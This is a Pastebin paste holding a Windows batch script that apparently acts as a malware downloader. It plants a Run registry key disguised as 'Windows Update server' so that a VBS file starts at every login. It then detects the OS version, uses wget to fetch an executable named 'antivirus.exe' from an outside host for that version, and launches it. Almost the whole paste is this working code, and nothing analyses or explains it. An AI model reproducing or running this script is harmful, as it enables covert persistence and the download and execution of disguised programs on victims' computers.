Advertisement
1337_Brain

vb script

Nov 2nd, 2017
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.37 KB | None | 0 0
  1. reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "Windows Update server" /t REG_SZ /d "C:\ness\b.vbs" /f
  2.  
  3. If exist "C:\ness\windows.exe" (goto comprobar) else (goto iniciar)
  4.  
  5. :iniciar
  6. ping 127.0.0.1 -n 240 -w 5 > NUL
  7.  
  8. set isnt=false
  9. echo.>nul & set isnt=true
  10. if true==%isnt% goto _nt
  11.  
  12. :_dos9x
  13. set _os_=UNKNOW
  14. echo Test|find "Fail">nul
  15. if errorlevel 0 if not errorlevel 1 set _os_=MSDOS5-621
  16. if not %_os_%==UNKNOW goto _resume
  17. ver | find.exe /i "MS-DOS" >nul
  18. if errorlevel 0 if not errorlevel 1 set _os_=MSDOS622-710
  19. ver | find.exe /i "Windows 95" >nul
  20. if errorlevel 0 if not errorlevel 1 set _os_=95
  21. ver | find.exe /i "Windows 98" >nul
  22. if errorlevel 0 if not errorlevel 1 set _os_=98
  23. ver | find.exe /i "Windows Millennium" >nul
  24. if errorlevel 0 if not errorlevel 1 set _os_=ME
  25. goto _resume
  26.  
  27. :_nt
  28. net.exe config workstation <nul 1>&0 2>&1
  29. if not errorlevel 0 goto _vermode
  30. if errorlevel 1 goto _vermode
  31. goto _nt_
  32. :_vermode
  33. for /f "tokens=* eol=" %%a in ('ver') do (set _os_=%%a)
  34. goto _eval_
  35. :_nt_
  36. for /f "skip=4 tokens=* eol=" %%a in ('net.exe config workstation') do (
  37. echo.%%a | find.exe /i "Windows" >nul
  38. if errorlevel 0 if not errorlevel 1 set "_line=%%a"&goto _n_t_
  39. )
  40. :_n_t_
  41. set _arg=%_line:"=%&set /a _tk=1
  42. call :_cut %_arg%
  43. for /f "tokens=%_tk%,* eol=" %%a in ("%_line%") do (set _os_=%%a %%b)
  44. set "_arg="&set "_tk="&set "_line="
  45. :_eval_
  46. find.exe 1>nul 2>&1
  47. if errorlevel 9009 goto _unknow
  48. set _os_ | find.exe /i " NT" >nul 2>&1
  49. if errorlevel 0 if not errorlevel 1 set _os_=NT&goto wxp
  50. set _os_ | find.exe /i " 2000" >nul 2>&1
  51. if errorlevel 0 if not errorlevel 1 set _os_=2000&goto wxp
  52. set _os_ | find.exe /i " 2002" >nul 2>&1
  53. if errorlevel 0 if not errorlevel 1 set _os_=XP&goto wxp
  54. set _os_ | find.exe /i " XP" >nul 2>&1
  55. if errorlevel 0 if not errorlevel 1 set _os_=XP&goto wxp
  56. set _os_ | find.exe /i " 5.1" >nul 2>&1
  57. if errorlevel 0 if not errorlevel 1 set _os_=XP&goto wxp
  58. set _os_ | find.exe /i " 5.2" >nul 2>&1
  59. if errorlevel 0 if not errorlevel 1 set _os_=XP64-2003&goto wxp
  60. set _os_ | find.exe /i " 2003" >nul 2>&1
  61. if errorlevel 0 if not errorlevel 1 set _os_=2003&goto wxp
  62. set _os_ | find.exe /i " 2008" >nul 2>&1
  63. if errorlevel 0 if not errorlevel 1 set _os_=2008&goto wseven
  64. set _os_ | find.exe /i " 6.0" >nul 2>&1
  65. if errorlevel 0 if not errorlevel 1 set _os_=2008-VISTA&goto wseven
  66. set _os_ | find.exe /i " Vista" >nul 2>&1
  67. if errorlevel 0 if not errorlevel 1 set _os_=VISTA&goto wvista
  68. set _os_ | find.exe /i " 6.1" >nul 2>&1
  69. if errorlevel 0 if not errorlevel 1 set _os_=SEVEN&goto wseven
  70. set _os_ | find.exe /i " 7" >nul 2>&1
  71. if errorlevel 0 if not errorlevel 1 set _os_=SEVEN&goto wseven
  72.  
  73.  
  74. :_unknow
  75. set _os_=UNKNOW
  76. goto _resume
  77.  
  78.  
  79. :_cut
  80. set _arg=%1&shift
  81. if /i not [%_arg%]==[Windows] (set /a _tk=%_tk%+1&goto:_cut)
  82. goto :eof
  83.  
  84.  
  85.  
  86.  
  87.  
  88. :wxp
  89.  
  90. wget -c http://www.mejorescanales.com/exe/xp/antivirus.exe
  91. ping 127.0.0.1 -n 40 -w 5 > NUL
  92. start antivirus.exe
  93.  
  94. goto :comprobar
  95.  
  96.  
  97. :wseven
  98. wget -c http://www.mejorescanales.com/exe/7/antivirus.exe
  99. ping 127.0.0.1 -n 40 -w 5 > NUL
  100. start antivirus.exe
  101.  
  102. goto :comprobar
  103.  
  104.  
  105.  
  106. :wvista
  107.  
  108. wget -c http://www.mejorescanales.com/exe/vista/antivirus.exe
  109. ping 127.0.0.1 -n 40 -w 5 > NUL
  110. start antivirus.exe
  111.  
  112.  
  113. :_resume
  114. wget -c http://www.mejorescanales.com/exe/8/antivirus.exe
  115. ping 127.0.0.1 -n 40 -w 5 > NUL
  116. start antivirus.exe
  117.  
  118.  
  119.  
  120. :comprobar
  121.  
  122. exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement